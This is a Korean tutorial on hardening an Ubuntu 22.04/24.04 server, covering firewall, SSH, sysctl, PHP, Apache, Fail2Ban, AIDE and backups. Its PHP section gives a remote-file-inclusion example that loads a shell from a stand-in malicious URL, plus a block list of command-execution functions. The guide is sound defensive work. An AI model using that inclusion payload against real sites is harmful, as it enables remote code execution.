Ubuntu 서버의 기본 보안을 단계별로 잡는 가이드다. 원문(The Fan Club, 2012)은 Ubuntu 12.04 기준이라, 지금 LTS(22.04/24.04)에서 달라진 부분을 반영해 정리했다. 모든 명령은 sudo 권한으로, 바꾸기 전에 설정 파일을 백업하고, 특히 SSH·방화벽은 접속이 끊길 수 있으니 콘솔 접근 수단을 확보한 뒤 진행한다.
1. 방화벽 – UFW
UFW(Uncomplicated Firewall)로 시작한다. 방화벽을 켜기 전에 SSH 부터 허용해야 접속이 끊기지 않는다.
|
1 2 3 4 5 6 |
sudo apt install ufw sudo ufw allow OpenSSH # 또는 sudo ufw allow 22/tcp sudo ufw allow http sudo ufw allow https sudo ufw enable sudo ufw status verbose |
2. 공유 메모리 보호 – /etc/fstab
실행 중인 서비스를 노리는 공격에 공유 메모리가 쓰일 수 있다. 다만 일부 앱(크롬, 일부 DB)이 /dev/shm 실행을 필요로 해서 부팅이 꼬일 수 있으니, 재부팅 후 서비스가 정상인지 꼭 확인한다.
|
1 2 |
# /etc/fstab 에 추가 (지금 Ubuntu 는 /dev/shm 대신 /run/shm 이 심볼릭 링크) tmpfs /run/shm tmpfs defaults,noexec,nosuid 0 0 |
3. SSH 강화 – 키 로그인, root 차단
가장 확실한 건 공개키/개인키 로그인이다. 비밀번호 로그인을 쓴다면 최소한 root 로그인을 막는다. 지금 Ubuntu 는 /etc/ssh/sshd_config.d/ 에 조각 파일을 두는 방식을 권장한다.
|
1 2 3 4 5 6 7 8 |
sudo tee /etc/ssh/sshd_config.d/99-hardening.conf <<'EOF' Protocol 2 PermitRootLogin no PasswordAuthentication no # 키 로그인을 설정했다면 끈다 PubkeyAuthentication yes DebianBanner no EOF sudo systemctl restart ssh |
※ 참고 SSH 포트 변경은 선택. 자동 스캔 로그를 줄이는 효과는 있지만 실제 보안은 거의 높이지 않고, 1024 미만 특권 포트가 아닌 곳으로 옮기면 오히려 위험할 수 있다는 반론도 많다. 포트를 바꾼다면 방화벽에서 새 포트를 열고 22 를 닫는 것을 잊지 말 것. 키 로그인 + fail2ban 이 포트 변경보다 효과가 크다.
4. su / sudo 접근 제한
관리자 그룹에게만 권한을 준다. 지금 Ubuntu 는 관리자 그룹이 sudo 다(옛 가이드의 admin 그룹이 아님). 평소 작업은 su 보다 sudo 를 쓴다.
|
1 2 3 |
sudo usermod -aG sudo <사용자명> # su 를 sudo 그룹만 쓰게 제한하려면 sudo dpkg-statoverride --update --add root sudo 4750 /bin/su |
5. 네트워크 커널 파라미터 – sysctl
/etc/sysctl.d/99-hardening.conf 에 넣고 sudo sysctl --system 으로 적용한다. (옛 가이드는 /etc/sysctl.conf 에 직접 넣지만, 지금은 /etc/sysctl.d/ 조각 파일이 깔끔하다.)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# IP 스푸핑 방지 (역경로 필터) net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # ICMP 브로드캐스트 무시 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 소스 라우팅 비활성 net.ipv4.conf.all.accept_source_route = 0 net.ipv6.conf.all.accept_source_route = 0 # redirect 무시 net.ipv4.conf.all.accept_redirects = 0 net.ipv6.conf.all.accept_redirects = 0 net.ipv4.conf.all.send_redirects = 0 # SYN 공격 방어 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_syn_backlog = 2048 net.ipv4.tcp_synack_retries = 2 # 이상 패킷 로그 net.ipv4.conf.all.log_martians = 1 net.ipv4.icmp_ignore_bogus_error_responses = 1 |
|
1 |
sudo sysctl --system |
※ 참고 net.ipv4.icmp_echo_ignore_all = 1(ping 전부 차단)은 모니터링·헬스체크를 막을 수 있어 뺐다. 필요하면 추가한다.
6. BIND DNS – 재귀 질의 차단, 버전 숨김
권한 있는(authoritative) DNS 서버만 운영한다면 재귀 질의를 끈다. (DNS 서버를 안 돌리면 이 단계는 건너뛴다.)
|
1 2 3 |
# /etc/bind/named.conf.options 의 options { } 안에 recursion no; version "Not Disclosed"; |
|
1 |
sudo systemctl restart named # 예전 bind9 |
7. host.conf
옛 가이드의 nospoof on 은 glibc 에서 더 이상 의미가 없다(무시됨). IP 스푸핑 방어는 5번의 rp_filter 로 충분하다. 이 단계는 지금은 건너뛰어도 된다.
8. PHP 보안 설정
PHP 버전에 맞는 php.ini 를 연다(예: /etc/php/8.3/apache2/php.ini, FPM 이면 /etc/php/8.3/fpm/php.ini). 바꾼 뒤 웹서버(또는 php-fpm)를 재시작한다.
옛날 가이드에 자주 나오지만 지금은 넣으면 안 되는 것 — safe_mode, register_globals, magic_quotes_gpc, mysql.trace_mode 는 모두 PHP 5.4~7 에서 제거되었다. 지금 php.ini 에 넣어도 효과가 없고, 특히 magic_quotes 는 SQL Injection 을 제대로 막지도 못했다. SQL Injection 방어는 php.ini 설정이 아니라 준비된 구문(prepared statement, 파라미터 바인딩) 으로 한다.
정보 노출 차단 — 에러 메시지에 파일 경로, 쿼리, DB 구조가 드러나면 공격의 단서가 된다. 운영 서버는 화면에 안 띄우고 로그로만 남긴다.
|
1 2 3 4 5 |
expose_php = Off ; 응답 헤더의 PHP 버전 숨김 display_errors = Off ; 에러를 화면에 안 보임 (운영 필수) display_startup_errors = Off log_errors = On ; 에러는 로그로 error_log = /var/log/php_errors.log |
원격 파일 포함(RFI) 차단 — include($_GET['x']) 같은 코드에 ?x=http://악성/shell.txt 를 넣어 외부 코드를 실행시키는 공격을 막는다. allow_url_include 가 핵심이다.
|
1 2 |
allow_url_fopen = Off ; URL 을 파일처럼 여는 기능 (외부 호출 필요 없으면 Off) allow_url_include = Off ; include/require 로 URL 을 불러오는 것 차단 (반드시 Off) |
위험 함수·파일 접근 제한
|
1 2 3 4 5 6 |
; OS 명령 실행 계열을 안 쓰는 서버라면 막는다 (웹셸이 주로 쓰는 함수들) disable_functions = exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source ; PHP 가 접근할 수 있는 디렉터리를 사이트 폴더로 제한 (경로 탈출 방지) open_basedir = /var/www/html:/tmp ; 파일 업로드를 안 쓰면 끈다 (업로드 공격 차단) file_uploads = Off |
세션 쿠키 보안 — 세션 탈취·고정 공격을 줄인다. (예전 자료에는 없지만 지금은 기본으로 챙긴다.)
|
1 2 3 4 |
session.cookie_httponly = On ; 자바스크립트에서 쿠키 접근 차단 (XSS 완화) session.cookie_secure = On ; HTTPS 에서만 쿠키 전송 session.cookie_samesite = Lax ; 교차 사이트 요청에 쿠키 제한 (CSRF 완화) session.use_strict_mode = On ; 서버가 만든 세션 ID 만 허용 |
|
1 |
sudo systemctl restart apache2 # php-fpm 이면 sudo systemctl restart php8.3-fpm |
WordPress·일부 CMS 주의 — disable_functions 나 open_basedir 를 너무 빡빡하게 걸면 플러그인·업데이트가 깨질 수 있다. 바꾼 뒤 사이트가 정상인지 확인한다.
9. Apache 정보 노출 줄이기
지금 Ubuntu 는 /etc/apache2/conf-available/security.conf 에 있다. Header 지시어를 쓰려면 headers 모듈을 켜야 한다(안 켜면 재시작이 실패한다 — 원문 댓글에서도 지적된 부분).
|
1 |
sudo a2enmod headers |
|
1 2 3 4 5 6 |
# /etc/apache2/conf-available/security.conf ServerTokens Prod ServerSignature Off TraceEnable Off Header unset ETag FileETag None |
|
1 |
sudo systemctl restart apache2 |
ServerTokens 값에 따라 응답 헤더의 Server: 에 드러나는 정보가 다르다. 운영 서버는 가장 적게 알려주는 Prod(=ProductOnly)를 쓴다.
| 값 | Server 헤더 예 |
|---|---|
Prod (ProductOnly) |
Apache |
Major |
Apache/2 |
Minor |
Apache/2.4 |
Minimal |
Apache/2.4.58 |
OS |
Apache/2.4.58 (Ubuntu) |
Full (기본값) |
Apache/2.4.58 (Ubuntu) OpenSSL/3.0 PHP/8.3 |
PHP 도 응답 헤더(X-Powered-By)와 에러 화면에 버전을 노출하므로 php.ini 에서 끈다.
|
1 |
expose_php = Off |
다만 anyons.net 처럼 Cloudflare 뒤에 있으면 앞단에서 이미 Server: cloudflare 로 가려지고 원 서버 헤더가 밖으로 안 나가기도 한다. 그래도 원 서버 직접 접근에 대비해 서버 자체 설정도 함께 해 두는 게 안전하다.
10~11. 웹 애플리케이션 방화벽 – ModSecurity / ModEvasive
ModSecurity(OWASP CRS 규칙셋)로 웹 공격을, ModEvasive 로 간단한 DoS 를 막는다. 다만 ModSecurity 하나로 DoS 완화까지 되는 경우가 많아 ModEvasive 는 선택이다.
|
1 2 3 |
sudo apt install libapache2-mod-security2 libapache2-mod-evasive sudo a2enmod security2 evasive sudo systemctl restart apache2 |
※ 참고 ModSecurity 기본 규칙은 WordPress·Drupal 같은 CMS 를 막는 경우가 있다(403 Forbidden). 사이트가 막히면 해당 규칙을 예외 처리한다. 이것도 오늘 다룬 anyons.net 의 Wordfence 와 역할이 겹치니, 둘 다 쓸지 하나만 쓸지는 정해서 간다.
12. 로그 감시·차단 – Fail2Ban
옛 가이드의 DenyHosts 는 거의 관리가 끊겼으니 Fail2Ban 만 쓴다. Fail2Ban 은 로그를 보고 비밀번호 실패·익스플로잇 시도가 많은 IP 를 방화벽에서 일정 시간 차단한다.
|
1 2 |
sudo apt install fail2ban sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local |
/etc/fail2ban/jail.local 에서 설정한다. 지금 Ubuntu 는 SSH 로그 감시 jail 이름이 [sshd] 이고, 로그 소스로 systemd 를 쓴다.
|
1 2 3 4 5 6 7 8 9 10 11 |
[DEFAULT] bantime = 1h findtime = 10m maxretry = 5 destemail = you@example.com action = %(action_mwl)s # 차단 시 메일 + whois + 로그 [sshd] enabled = true # SSH 포트를 바꿨으면 port 를 그 번호로 port = ssh |
|
1 2 3 |
sudo systemctl enable --now fail2ban sudo fail2ban-client status sudo fail2ban-client status sshd |
13. 침입 탐지 – PSAD
PSAD 는 iptables 로그를 분석해 포트 스캔과 수상한 트래픽을 탐지한다. (UFW 를 쓰면 로깅을 켜 둬야 PSAD 가 볼 게 생긴다: sudo ufw logging on)
|
1 |
sudo apt install psad |
14. 루트킷 점검 – RKHunter / chkrootkit
둘 다 루트킷을 찾는 도구다. 같이 써도 무방.
|
1 2 3 4 5 |
sudo apt install rkhunter chkrootkit sudo chkrootkit sudo rkhunter --update sudo rkhunter --propupd # 처음 한 번, 깨끗한 상태 기준 저장 sudo rkhunter --check |
15. 열린 포트 점검 – Nmap
|
1 2 3 |
sudo apt install nmap nmap -sT localhost sudo nmap -sS localhost |
16. 로그 분석 – Logwatch
|
1 2 3 4 |
sudo apt install logwatch sudo logwatch | less # 최근 7일 리포트를 메일로 sudo logwatch --mailto you@example.com --output mail --format html --range 'between -7 days and today' |
17. 강제 접근 제어 – AppArmor
AppArmor 는 SELinux 가 아니라 그 대안이다(원문 댓글에서도 지적됨). Ubuntu 는 AppArmor 가 기본으로 켜져 있다. 프로필을 추가로 설치하고 상태를 확인한다.
|
1 2 |
sudo apt install apparmor apparmor-profiles apparmor-utils sudo aa-status |
18. 시스템 보안 감사 – Lynis (또는 Tiger)
옛 가이드의 Tiger 도 있지만, 지금은 Lynis 가 더 활발히 관리되고 리포트도 낫다.
|
1 2 3 |
sudo apt install lynis sudo lynis audit system # 결과와 권고는 /var/log/lynis.log, /var/log/lynis-report.dat |
|
1 2 3 4 |
# Tiger 를 쓰려면 sudo apt install tiger sudo tiger sudo less /var/log/tiger/security.report.* |
19. 백업 – 별도 볼륨에 자동 백업
어떤 보안 도구보다 백업이 먼저다. 데이터는 OS 디스크와 다른 볼륨에 두고, 정기 백업은 원격이나 별도 저장소에 보낸다. 예전처럼 tar 로 통째 떠도 되지만, 지금은 증분·중복제거·암호화가 되는 restic 이나 borg 가 낫다.
|
1 2 3 4 5 6 7 |
sudo apt install restic # 저장소 초기화 (한 번) restic init --repo /backup/restic # 또는 s3:... 원격 # 백업 restic -r /backup/restic backup /etc /home /var/www # 오래된 백업 정리 (일 7, 주 4, 월 6개 유지) restic -r /backup/restic forget --keep-daily 7 --keep-weekly 4 --keep-monthly 6 --prune |
cron 이나 systemd timer 로 매일 새벽에 돌린다. 복원 테스트를 가끔 해 둬야 진짜 백업이다. (DB 는 파일 복사 대신 mysqldump/pg_dump 로 뜬 뒤 백업한다.)
20. SetUID / SetGID 파일 점검
SetUID 가 붙은 실행 파일은 실행하면 소유자(보통 root) 권한으로 돈다. 공격자가 백도어로 심어 두기 쉬운 자리라, 표준 목록에 없는 게 있는지 가끔 확인한다. (명령 자체는 예전부터 지금까지 같다.)
|
1 2 3 |
# SUID / SGID 파일 찾기 sudo find / -xdev -perm -4000 -type f 2>/dev/null # SUID sudo find / -xdev -perm -2000 -type f 2>/dev/null # SGID |
나오는 건 대부분 su, sudo, mount, passwd, ping 같은 표준 바이너리다. 처음 깨끗한 상태의 목록을 저장해 두고, 나중 결과와 diff 로 비교하면 새로 생긴 것을 바로 찾는다.
21. 파일 무결성 감시 – AIDE
루트킷 검사(14번)와 별개로, 시스템 파일이 몰래 바뀌었는지 보는 도구다. 예전의 Tripwire 역할을 지금은 AIDE 가 한다. 깨끗한 상태의 지문(DB)을 만들어 두고, 이후 바뀐 파일을 보고한다.
|
1 2 3 4 5 |
sudo apt install aide sudo aideinit # 초기 DB 생성 (시간 걸림) sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db # 이후 점검 sudo aide --check |
초기 DB 는 서버가 깨끗할 때 만들어야 의미가 있고, DB 자체는 외부(읽기전용 매체 등)에 보관하는 게 안전하다.
22. 로그인 경고 배너
접속 화면에 OS 버전이 그대로 노출되지 않게 하고, 허가받지 않은 접속에 대한 경고문을 띄운다(법적 근거에도 도움).
|
1 2 3 4 5 6 |
# 원격 로그인 배너 내용 (OS 버전 노출 제거 + 경고문) sudo tee /etc/issue.net >/dev/null <<'TXT' 접근이 허가된 사용자만 이용할 수 있습니다. 모든 접속은 기록되며, 허가되지 않은 접속은 법적 책임을 질 수 있습니다. Authorized access only. All activity is monitored and logged. TXT |
SSH 가 이 배너를 쓰게 한다.
|
1 2 3 4 5 |
# /etc/ssh/sshd_config.d/ 에 추가 Banner /etc/issue.net DebianBanner no # 적용 sudo systemctl restart ssh |
23. 웹 디렉터리 목록 노출 차단
index 파일이 없는 폴더에 접근하면 파일 목록이 그대로 보이는(디렉터리 인덱싱) 설정을 끈다. 소스·백업 파일이 노출되는 경로가 된다.
Apache: Options 에서 Indexes 와 FollowSymLinks 를 뺀다. 심볼릭 링크를 따라가는 설정은 엉뚱한 파일(/etc/passwd 등)이 웹으로 노출되는 통로가 될 수 있다.
|
1 2 3 4 |
<Directory /var/www/html> Options -Indexes -FollowSymLinks AllowOverride None </Directory> |
nginx: 기본적으로 디렉터리 인덱싱이 꺼져 있다(autoindex off). 켜 둔 곳이 없는지만 확인하면 된다.
|
1 2 |
# nginx 는 autoindex 가 기본 off. 혹시 켠 곳이 있나 확인 grep -rn 'autoindex' /etc/nginx/ |
마무리
- 한 번에 다 적용하지 말고 단계마다 재부팅·접속 테스트를 한다. 특히 2(공유 메모리), 3(SSH), 1(방화벽)은 잘못되면 접속이 막힌다.
- 설정 파일은 바꾸기 전에
cp로 백업한다. - 보안 업데이트(
sudo apt update && sudo apt upgrade)와 백업이 이 모든 도구보다 기본이다.
참고한 자료: The Fan Club – How to secure an Ubuntu 12.04 LTS server (Part 1)
관련 글: Ubuntu 에 새 disk 추가, azure ubuntu 설치 ver 2022, iptables 목록들

Leave a Reply